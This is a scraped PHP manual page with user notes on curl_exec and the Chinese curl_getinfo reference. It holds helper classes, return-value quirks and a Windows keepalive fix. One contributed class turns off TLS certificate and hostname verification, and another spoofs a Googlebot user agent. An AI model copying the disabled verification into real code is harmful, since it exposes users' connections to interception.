                error_log(__FUNCTION__ . ": Argument \$params should be an array of parameters or (if you want to send raw data) a string");
                return false;
            }
        }
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
bertram dot pereira at gmail dot com 05-Aug-2012 11:48
There will be times when you need to get the response from curl_exec and capture the transfer - this is not very well documented but you can do so with the CURLOPT_RETURNTRANSFER Option

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

Bert
tolas777 at gmail dot com 11-Feb-2011 08:27
I was having a problem, for almost a week, of curl_exec() freezing/hanging when I made a request with it to a page that spends over an hour converting a large video file, and only afterwards sends control-data back to the calling script.

I'm using windows 7, WampServer-2.1d-64.exe, PHP 5.3.4, libcurl-7.21.3.

Here's the final solution;

On Fri, Feb 11, 2011 at 1:32 PM, Daniel Stenberg <daniel-of-haxx.se> wrote:
> On Fri, 11 Feb 2011, Tolas Anon wrote:
>
>>> It is also very easy for an application to enable the options as I've
>>> shown.
>>
>> Just not for the platforms i use, apparently.. :(
>
> Why not? A quick search for "tcp keepalive windows" shows this:
> http://msdn.microsoft.com/en-us/library/ms819735.aspx

This fixed my problem in the simple test AND in my application!
No need to send keep-alive bytes on the text/html level either.

I just added the "KeepAliveTime" setting with windows 7 regedit.exe in
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip, as a
REG_DWORD value, set it to decimal 25000 (so 25 seconds), rebooted,
and it all works as i want it now..

Note that windows registry entries key names are case-sensitive, wrong
casing and they'll be deleted on restart.

Lots of thanks, Daniel. I would've never solved this on my own..

------------------------------------------------------
(now useless) details at:

http://curl.haxx.se/mail/lib-2011-02/0101.html

http://readlist.com/lists/lists.php.net/php-general/16/81195.html
David from Code2Design.com 27-Jun-2010 07:44
Just in case anyone is looking for a a couple of simple functions [to help automate cURL processes for POST and GET queries] I thought I'd post these.

<?php

/**
 * Send a POST requst using cURL
 * @param string $url to request
 * @param array $post values to send
 * @param array $options for cURL
 * @return string
 */
function curl_post($url, array $post = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 0,
        CURLOPT_URL => $url,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_POSTFIELDS => http_build_query($post)
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}

/**
 * Send a GET requst using cURL
 * @param string $url to request
 * @param array $get values to send
 * @param array $options for cURL
 * @return string
 */
function curl_get($url, array $get = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),
        CURLOPT_HEADER => 0,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 4
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}
?>
ivanargulo at NOSPAM gmail dot com 12-Feb-2010 03:41
If having problems with special chars or entities (like á, ?, à, etc.), using the ISO encode, just decode the values given with the function utf8_decode().

For example:

The returned string is the following:

<xml><name>Iv??n</name></xml>

Using utf8_decode, the result in ISO is

<xml><name>Iván</name></xml>
petermiller1986[nospam] at gmail dot com 30-Jul-2009 01:57
so far i have not come across any code or library file that will
extract cookie information from a http header, so i've written
one.

there are two files:
file1.php - acts as server and sets the cookies
file2.php - acts as browser and retrieves the cookies set by file1

/*****file1.php****/
<?php
/*set 3 cookies at the end of the execution of this script*/

setcookie("cookie1","cookie 1 data", time() - 123123);
setcookie("cookie2","cookie 2 data", time() + 54326);
setcookie("cookie3","cookie 3 data", time());
?>
/****end file1.php**/

/*****file2.php****/
<?php
$url = "http://[host][uri]/file1.php"; /*insert desired host and
uri*/
$browser_id = "some crazy browser";
$curl_handle = curl_init();
$options = array
(
    CURLOPT_URL=>$url,
    CURLOPT_HEADER=>true,
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_USERAGENT=>$browser_id
);
curl_setopt_array($curl_handle,$options);
$server_output = curl_exec($curl_handle);
curl_close($curl_handle);

/*construct the http search pattern for cookies*/
$pattern  = "/Set-Cookie:";
$pattern .= "(?P<name>.*?)=(?P<value>.*?); ";
$pattern .= "expires=(?P<expiry_dayname>\w+), ";
$pattern .= "(?P<expiry_day>\d+)-
(?P<expiry_month>\w+)-(?P<expiry_year>\d+) ";
$pattern .= "(?P<expiry_hour>\d+):
(?P<expiry_minute>\d+):(?P<expiry_second>\d+) ";
$pattern .= "(?P<expiry_zone>\w+)/";
preg_match_all($pattern,$server_output,$matches);

$table_string = "
<h1>cookie information table</h1>
<table border='1'>
    <tr>
        <td>cookie name</td>
        <td>value</td>
        <td>expiry day</td>
        <td>expiry date</td>
        <td>expiry time</td>
        <td>expiry timezone</td>
    </tr>
";
$i=0;
foreach($matches[name] as $cookie_name)
{
    $table_string .= "
    <tr>
        <td>$cookie_name</td>

        <td>{$matches[value][$i]}</td>

        <td>{$matches[expiry_dayname][$i]}</td>

        <td>{$matches[expiry_day][$i]}-
        {$matches[expiry_month][$i]}-
        {$matches[expiry_year][$i]}</td>

        <td>{$matches[expiry_hour][$i]}:
        {$matches[expiry_minute][$i]}:
        {$matches[expiry_second][$i]}</td>

        <td>{$matches[expiry_zone][$i]}</td>
    </tr>
    ";
    $i++;
}
$table_string .= "</table>";
echo $table_string;
?>
/****end file2.php**/

i based this code on the following http header:
(obtained by going: echo $server_output; in file2.php)

HTTP/1.1 200 OK Date: Thu, 30 Jul 2009 07:10:07 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11
OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9
Set-Cookie: cookie1=cookie+1+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Set-Cookie
cookie2=cookie+2+data; expires=Wed, 29-Jul-2009 03:23:27
GMT Set-Cookie: cookie3=cookie+3+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Content-Length: 196
Content-Type: text/html

if your header differs from this one then $pattern in file2.php
will need to be modified accordingly. hopefully this code will save
you a lot of time though!
lmshad at wp dot pl dot foo dot bar 29-Jul-2008 10:14
example:
   echo CurlTool::fetchContent('www.onet.pl');
   CurlTool::downloadFile('http://download.gadu-gadu.pl/gg77.exe', 'c:/');

<?php
error_reporting(E_STRICT | E_ALL);
class CurlTool {
    public static $userAgents = array(
        'FireFox3' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        'GoogleBot' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'IE7' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
        'Netscape' => 'Mozilla/4.8 [en] (Windows NT 6.0; U)',
        'Opera' => 'Opera/9.25 (Windows NT 6.0; U; en)'
        );
    public static $options = array(
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        CURLOPT_AUTOREFERER => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_FOLLOWLOCATION => true
        );

    private static $proxyServers = array();
    private static $proxyCount = 0;
    private static $currentProxyIndex = 0;

    public static function addProxyServer($url) {
        self::$proxyServers[] = $url;
        ++self::$proxyCount;
    }

    public static function fetchContent($url, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Reading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Reading $url ... ";
        }

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt_array($curl, self::$options);

        $content = curl_exec($curl);
        if ($content === false) {
            throw new Exception("curl_exec error for url $url.");
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }

        $content = preg_replace('#\n+#', ' ', $content);
        $content = preg_replace('#\s+#', ' ', $content);

        return $content;
    }

    public static function downloadFile($url, $fileName, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Downloading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Downloading $url ... ";
        }

        curl_setopt_array($curl, self::$options);

        if (substr($fileName, -1) == '/') {
            $targetDir = $fileName;
            $fileName = tempnam(sys_get_temp_dir(), 'c_');
        }
        if (($fp = fopen($fileName, "wb")) === false) {
            throw new Exception("fopen error for filename $fileName");
        }
        curl_setopt($curl, CURLOPT_FILE, $fp);

        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        if (curl_exec($curl) === false) {
            fclose($fp);
            unlink($fileName);
            throw new Exception("curl_exec error for url $url.");
        } elseif (isset($targetDir)) {
            $eurl = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL);
            preg_match('#^.*/(.+)$#', $eurl, $match);
            fclose($fp);
            rename($fileName, "$targetDir{$match[1]}");
            $fileName = "$targetDir{$match[1]}";
        } else {
            fclose($fp);
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }
        return $fileName;
    }
}
?>
alan at forsyth dot cz 06-Jun-2008 03:59
Great class Roman - just one fix:

Replace the following line:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
?>

with this:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: " . $params['host'];
?>

CURL automatically creates the host parameter (since it is required for HTTP/1.1 requests), so you don't need to set it. But if you created a custom host parameter, the above bug would cause a '400 Bad Request' response due to invalid host specified.

Also when copying and pasting the class code, make sure that no line breaks occur (for example in the $header and $user_agent definitions etc.). It will still be valid PHP, but the HTTP request will not be valid, and you may get a '400 Bad Request' response from the server.

It took me a little playing around with an HTTP Sniffer before I finally got an HTTP POST request fully working!

Thanks,
Alan
roman dot ivasyuk at gmail dot com 16-Jan-2008 04:11
<?php
class CurlRequest
{
    private $ch;
    /**
     * Init curl session
     *
     * $params = array('url' => '',
     *                    'host' => '',
     *                   'header' => '',
     *                   'method' => '',
     *                   'referer' => '',
     *                   'cookie' => '',
     *                   'post_fields' => '',
     *                    ['login' => '',]
     *                    ['password' => '',]
     *                   'timeout' => 0
     *                   );
     */
    public function init($params)
    {
        $this->ch = curl_init();
        $user_agent = 'Mozilla/5.0 (Windows; U;
Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
        $header = array(
        "Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        "Accept-Language: ru-ru,ru;q=0.7,en-us;q=0.5,en;q=0.3",
        "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive: 300");
        if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
        if (isset($params['header']) && $params['header']) $header[]=$params['header'];

        @curl_setopt ( $this -> ch , CURLOPT_RETURNTRANSFER , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_VERBOSE , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_HEADER , 1 );

        if ($params['method'] == "HEAD") @curl_setopt($this -> ch,CURLOPT_NOBODY,1);
        @curl_setopt ( $this -> ch, CURLOPT_FOLLOWLOCATION, 1);
        @curl_setopt ( $this -> ch , CURLOPT_HTTPHEADER, $header );
        if ($params['referer'])    @curl_setopt ($this -> ch , CURLOPT_REFERER, $params['referer'] );
        @curl_setopt ( $this -> ch , CURLOPT_USERAGENT, $user_agent);
        if ($params['cookie'])    @curl_setopt ($this -> ch , CURLOPT_COOKIE, $params['cookie']);

        if ( $params['method'] == "POST" )
        {
            curl_setopt( $this -> ch, CURLOPT_POST, true );
            curl_setopt( $this -> ch, CURLOPT_POSTFIELDS, $params['post_fields'] );
        }
        @curl_setopt( $this -> ch, CURLOPT_URL, $params['url']);
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYPEER, 0 );
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYHOST, 0 );
        if (isset($params['login']) & isset($params['password']))
            @curl_setopt($this -> ch , CURLOPT_USERPWD,$params['login'].':'.$params['password']);
        @curl_setopt ( $this -> ch , CURLOPT_TIMEOUT, $params['timeout']);
    }

    /**
     * Make curl request
     *
     * @return array  'header','body','curl_error','http_code','last_url'
     */
    public function exec()
    {
        $response = curl_exec($this->ch);
        $error = curl_error($this->ch);
        $result = array( 'header' => '',
                         'body' => '',
                         'curl_error' => '',
                         'http_code' => '',
                         'last_url' => '');
        if ( $error != "" )
        {
            $result['curl_error'] = $error;
            return $result;
        }

        $header_size = curl_getinfo($this->ch,CURLINFO_HEADER_SIZE);
        $result['header'] = substr($response, 0, $header_size);
        $result['body'] = substr( $response, $header_size );
        $result['http_code'] = curl_getinfo($this -> ch,CURLINFO_HTTP_CODE);
        $result['last_url'] = curl_getinfo($this -> ch,CURLINFO_EFFECTIVE_URL);
        return $result;
    }
}
?>

Example of use:
<?php
..........
try
        {
            $params = array('url' => 'http://www.google.com',
            'host' => '',
            'header' => '',
            'method' => 'GET', // 'POST','HEAD'
            'referer' => '',
            'cookie' => '',
            'post_fields' => '', // 'var1=value&var2=value
            'timeout' => 20
            );

            $this->curl->init($params);
            $result = $this->curl->exec();
            if ($result['curl_error'])    throw new Exception($result['curl_error']);
            if ($result['http_code']!='200')    throw new Exception("HTTP Code = ".$result['http_code']);
            if (!$result['body'])        throw new Exception("Body of file is empty");
            ...............
        }
        catch (Exception $e)
        {
                    echo $e->getMessage();
        }
?>
me at lawrencemok dot com 03-Dec-2007 11:52
Note that when you use CURL to POST things....e.g:

curl_setopt($ch, CURLOPT_POSTFIELDS, "string=This is a string");

The data part (e.g. "This is a string") inside the 3rd parameter should be applied with urlencode()

Otherwise, if you intend to send a string like "%2F", you will end up with a "/" on the receiving end, which can cause troubles. (e.g. serialize() data cannot be unserialize() becase of the change in string length).
test at test dot com 13-Aug-2007 06:43
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
lukasl at ackleymedia dot com 06-Oct-2006 07:52
Thank you for sharing this.  I was wondering why my result was 1.

To get around this in a safe way, this is how I check if the result is valid.

$ch = curl_init(); /// initialize a cURL session
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$xmlResponse = curl_exec ($ch);
curl_close ($ch);

if (!is_string($xmlResponse) || !strlen($xmlResponse)) {
    return $this->_set_error( "Failure Contacting Server" );
} else {
    return $xmlResponse;
}
04-Oct-2006 01:41
Be careful when using curl_exec() and the CURLOPT_RETURNTRANSFER option. According to the manual and assorted documentation:
Set CURLOPT_RETURNTRANSFER to TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.

When retrieving a document with no content (ie. 0 byte file), curl_exec() will return bool(true), not an empty string. I've not seen any mention of this in the manual.

Example code to reproduce this:
<?php

    // fictional URL to an existing file with no data in it (ie. 0 byte file)
    $url = 'http://www.example.com/empty_file.txt';

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);

    // execute and return string (this should be an empty string '')
    $str = curl_exec($curl);

    curl_close($curl);

    // the value of $str is actually bool(true), not empty string ''
    var_dump($str);

?>
J?rgen Tjern? 08-Mar-2005 06:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
    print curl_error($creq);
} else {
    curl_close($creq);
}
?>
nagyp at hunaxon dot hu 26-Apr-2003 05:22
fyi:
It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com 24-Apr-2002 04:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com 28-Feb-2002 07:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
csaba at alum dot mit dot edu 22-May-2001 01:06
If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
    $ch = curl_init($pageSpec);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $tmp = curl_exec ($ch);
    curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
    $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
    return $tmp;
}
?>


获取一个cURL连接资源句柄的信息

  • ? curl_exec
  • curl_init ?
  • PHP Manual
  • cURL 函数
  • 获取一个cURL连接资源句柄的信息

curl_getinfo

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

curl_getinfo — 获取一个cURL连接资源句柄的信息

说明

curl_getinfo(CurlHandle $handle, ?int $option = null): mixed

获取最后一次传输的相关信息。

参数

handle

由 curl_init() 返回的 cURL 句柄。

option

这个参数可能是以下常量之一:

  • CURLINFO_EFFECTIVE_URL——最后一个有效的 URL
  • CURLINFO_HTTP_CODE——最后的响应代码。从 cURL 7.10.8 开始，这是 CURLINFO_RESPONSE_CODE 的旧别名
  • CURLINFO_FILETIME——启用了 CURLOPT_FILETIME 后检索文档的远程时间；如果返回 -1，则文档的时间未知
  • CURLINFO_TOTAL_TIME——最后一次传输的总事务时间（以秒为单位）
  • CURLINFO_NAMELOOKUP_TIME——到名称解析完成所需的时间（以秒为单位）
  • CURLINFO_CONNECT_TIME——建立连接所需的时间（以秒为单位）
  • CURLINFO_PRETRANSFER_TIME——从开始到文件准备传输所需的时间（以秒为单位）
  • CURLINFO_STARTTRANSFER_TIME——从开始到传输第一个字节所需的时间（以秒为单位）
  • CURLINFO_REDIRECT_COUNT——启用 CURLOPT_FOLLOWLOCATION 选项的重定向次数
  • CURLINFO_REDIRECT_TIME——在启用 CURLOPT_FOLLOWLOCATION 选项的情况下，最终事务开始之前所有重定向步骤的时间（以秒为单位）
  • CURLINFO_REDIRECT_URL——禁用 CURLOPT_FOLLOWLOCATION 选项：重定向 URL 在上次事务中找到，接下来应该手动请求。在启用 CURLOPT_FOLLOWLOCATION 选项的情况下，此返回值为空。在这种情况下，重定向的 URL 可以在 CURLINFO_EFFECTIVE_URL 中获取
  • CURLINFO_PRIMARY_IP——最近连接的 IP 地址
  • CURLINFO_PRIMARY_PORT——最近一次连接的目标端口
  • CURLINFO_LOCAL_IP——最近连接的本地（源）IP 地址
  • CURLINFO_LOCAL_PORT——最近连接的本地（源）端口
  • CURLINFO_SIZE_UPLOAD——以字节为单位返回上传数据量的总值
  • CURLINFO_SIZE_DOWNLOAD——以字节为单位返回下载数据量的总值
  • CURLINFO_SPEED_DOWNLOAD——平均下载速度
  • CURLINFO_SPEED_UPLOAD——平均上传速度
  • CURLINFO_HEADER_SIZE——检索到的所有 header 大小
  • CURLINFO_HEADER_OUT——发送请求的字符串。为此，通过调用 curl_setopt() 将 CURLINFO_HEADER_OUT 选项添加到句柄
  • CURLINFO_REFERER - The referrer header
  • CURLINFO_REQUEST_SIZE——已发出请求的总大小，当前仅针对 HTTP 请求
  • CURLINFO_RETRY_AFTER - The information from the Retry-After: header, or zero if there was no valid header.
  • CURLINFO_SSL_VERIFYRESULT——通过设置 CURLOPT_SSL_VERIFYPEER 请求的 SSL 认证验证结果
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD——从 Content-Length: 字段中读取的下载内容长度
  • CURLINFO_CONTENT_LENGTH_UPLOAD——上传指定大小
  • CURLINFO_CONTENT_TYPE——Content-Type:所请求文档的类型。NULL 表示服务器没有发送有效的 Content-Type: header
  • CURLINFO_PRIVATE——与此 cURL 句柄关联的私有数据，之前使用 curl_setopt() 的 CURLOPT_PRIVATE 选项设置
  • CURLINFO_PROXY_ERROR - The detailed (SOCKS) proxy error code when the most recent transfer returned a CURLE_PROXY error. The returned value will be exactly one of the CURLPX_* values. The error code will be CURLPX_OK if no response code was available.
  • CURLINFO_RESPONSE_CODE——最后的响应代码
  • CURLINFO_HTTP_CONNECTCODE——CONNECT 响应代码
  • CURLINFO_HTTPAUTH_AVAIL——位掩码表示先前响应可用的身份验证方法
  • CURLINFO_PROXYAUTH_AVAIL——位掩码表示先前响应可用的代理身份验证方法
  • CURLINFO_OS_ERRNO——来自连接失败的 Errno。该数字特定于 OS 和指定系统。
  • CURLINFO_NUM_CONNECTS - curl 为实现先前的传输所必须创建的连接数
  • CURLINFO_SSL_ENGINES——支持 OpenSSL 加密引擎
  • CURLINFO_COOKIELIST——所有已知的 cookie
  • CURLINFO_FTP_ENTRY_PATH——FTP 服务器中的入口路径
  • CURLINFO_APPCONNECT_TIME——从开始到SSL/SSH 完成与远程主机的连接/握手所花费的时间（以秒为单位）
  • CURLINFO_CERTINFO——TLS 证书链
  • CURLINFO_CONDITION_UNMET——未满足时间条件的信息
  • CURLINFO_RTSP_CLIENT_CSEQ——下一个 RTSP 客户端 CSeq
  • CURLINFO_RTSP_CSEQ_RECV——最近检索到的 CSeq
  • CURLINFO_RTSP_SERVER_CSEQ——下一个 RTSP 服务器端 CSeq
  • CURLINFO_RTSP_SESSION_ID——RTSP 会话 ID
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD_T——下载的内容长度。此值从 Content-Length: 字段读取。如果大小未知则为 -1
  • CURLINFO_CONTENT_LENGTH_UPLOAD_T——上传的指定大小。如果未知则为 -1
  • CURLINFO_HTTP_VERSION - 返回最后一次 HTTP 连接中使用的版本。返回值将是定义的 CURL_HTTP_VERSION_* 常量之一，如果无法确定版本，则返回 0。
  • CURLINFO_PROTOCOL - 在最后一个 HTTP 连接中使用的协议。返回值将会是 CURLPROTO_* 中的一个值
  • CURLINFO_PROXY_SSL_VERIFYRESULT - 请求的证书验证结果（使用 CURLOPT_PROXY_SSL_VERIFYPEER 选项）。仅用于 HTTPS 代理
  • CURLINFO_SCHEME - 最近连接使用的 URL 协议
  • CURLINFO_SIZE_DOWNLOAD_T - 已下载的总字节数。此数值仅针对最新的传输，并且在每次新的传输时都将会重置
  • CURLINFO_SIZE_UPLOAD_T——上传的总字节数
  • CURLINFO_SPEED_DOWNLOAD_T - curl 测量的完整下载速度的平均值，以字节/秒为单位
  • CURLINFO_SPEED_UPLOAD_T - curl 测量的完整上传速度的平均值，以字节/秒为单位
  • CURLINFO_APPCONNECT_TIME_T - 从开始到与远程主机 SSL/SSH 连接/握手完成所经过的时间，以微秒为单位
  • CURLINFO_CONNECT_TIME_T - 从开始到与远程主机（或代理）建立连接完成所经过的总时间，以微秒为单位
  • CURLINFO_FILETIME_T - 检索的文档的远程时间（Unix 时间戳），是 CURLINFO_FILETIME 的替代值，允许具有 32 bit 变量的系统提取超出 32 bit 时间戳范围之外的日期
  • CURLINFO_NAMELOOKUP_TIME_T——从开始到名称解析完成的时间（以微秒为单位）
  • CURLINFO_PRETRANSFER_TIME_T - 从开始到文件传输即将开始的时间，以微秒为单位
  • CURLINFO_REDIRECT_TIME_T - 在最终事务开始之前，所有重定向步骤（包括名称查找、连接、预传输和传输）所花费的总时间，以微秒为单位。
  • CURLINFO_STARTTRANSFER_TIME_T——从开始到接收到第一个字节所花费的时间（以微秒为单位）
  • CURLINFO_TOTAL_TIME_T——上次传输的总时间（以微秒为单位），包括名称解析、TCP 连接等。

返回值

如果指定 option，将返回它的值。否则将返回包含下列元素的关联数组（分别对应 option），失败时为 false：

  • "url"
  • "content_type"
  • "http_code"
  • "header_size"
  • "request_size"
  • "filetime"
  • "ssl_verify_result"
  • "redirect_count"
  • "total_time"
  • "namelookup_time"
  • "connect_time"
  • "pretransfer_time"
  • "size_upload"
  • "size_download"
  • "speed_download"
  • "speed_upload"
  • "download_content_length"
  • "upload_content_length"
  • "starttransfer_time"
  • "redirect_time"
  • "certinfo"
  • "primary_ip"
  • "primary_port"
  • "local_ip"
  • "local_port"
  • "redirect_url"
  • "request_header"（只有在之前调用 curl_setopt() 设置 CURLINFO_HEADER_OUT 后才会设置）
注意，私有数据不包含在关联数组中，必须使用 CURLINFO_PRIVATE 选项单独检索。

更新日志

版本 | 说明
8.2.0 | 引入 CURLINFO_PROXY_ERROR、CURLINFO_REFERER、CURLINFO_RETRY_AFTER。
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。
8.0.0 | option 现在可为 null；之前默认值是 0。
7.3.0 | 引入 CURLINFO_CONTENT_LENGTH_DOWNLOAD_T、 CURLINFO_CONTENT_LENGTH_UPLOAD_T、 CURLINFO_HTTP_VERSION、 CURLINFO_PROTOCOL、 CURLINFO_PROXY_SSL_VERIFYRESULT、 CURLINFO_SCHEME、 CURLINFO_SIZE_DOWNLOAD_T、 CURLINFO_SIZE_UPLOAD_T、 CURLINFO_SPEED_DOWNLOAD_T、 CURLINFO_SPEED_UPLOAD_T、 CURLINFO_APPCONNECT_TIME_T、 CURLINFO_CONNECT_TIME_T、 CURLINFO_FILETIME_T、 CURLINFO_NAMELOOKUP_TIME_T、 CURLINFO_PRETRANSFER_TIME_T、 CURLINFO_REDIRECT_TIME_T、 CURLINFO_STARTTRANSFER_TIME_T、 CURLINFO_TOTAL_TIME_T。

示例

Example #1 curl_getinfo() 示例

<?php
// 创建 cURL 句柄
$ch = curl_init('http://www.example.com/');

// 执行
curl_exec($ch);

// 检查是否有错误发生
if (!curl_errno($ch)) {
$info = curl_getinfo($ch);
echo 'Took ', $info['total_time'], ' seconds to send a request to ', $info['url'], "\n";
}

// 关闭句柄
curl_close($ch);
?>

Example #2 使用 option 参数的 curl_getinfo() 示例

<?php
// 创建 cURL 句柄
$ch = curl_init('http://www.example.com/');

// 执行
curl_exec($ch);

// 检测 HTTP 状态码
if (!curl_errno($ch)) {
switch ($http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE)) {
case 200: # OK
break;
default:
echo 'Unexpected HTTP code: ', $http_code, "\n";
}
}

// 关闭句柄
curl_close($ch);
?>

注释

Note:

如果重新使用句柄，则保留此函数收集的信息。这意味着除非此函数在内部覆盖统计信息，否则将返回以前的信息。

User Contributed Notes

c dot ball1729 at gmail dot com 19-Jun-2023 12:46
A note about $curl_info['header_size'] (in response to the example above).

Note that the total includes the size of any received headers suppressed by CURLOPT_SUPPRESS_CONNECT_HEADERS (see: https://curl.se/libcurl/c/CURLINFO_HEADER_SIZE.html) so if you are using a proxy which adds additional headers along with this option, $curl_info['header_size'] will give you the wrong string index based on the headers available in PHP. i.e., it will eat in to the start of the response instead of being the index of the beginning of the response.
public-mail at alekciy dot ru 18-Nov-2015 09:35
Note, header_size include "\r\n\r\n". So if you use CURLOPT_FOLLOWLOCATION>0, CURLOPT_HEADER=true, CURLOPT_RETURNTRANSFER=true right way splite header/body:

$response = curl_exec($ch);
$curl_info = curl_getinfo($ch);
curl_close($ch);
$header_size = $curl_info['header_size'];
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);
torres dot krys at gmail dot com 31-Jul-2015 07:07
If you use curl option CURLOPT_NOBODY = true to test if distant url is available, any sites can send you an http code 400 like Cdiscount Wsdl :

$ch = @curl_init($wsdl);

if($ch === false)
    return false;

@curl_setopt($ch, CURLOPT_HEADER         ,true);    // we want headers
@curl_setopt($ch, CURLOPT_NOBODY         ,true);    // dont need body
@curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);    // catch output (do NOT print!)

@curl_exec($ch);

if(@curl_errno($ch)){   // should be 0
    @curl_close($ch);
    return false;
}

$code = @curl_getinfo($ch, CURLINFO_HTTP_CODE);

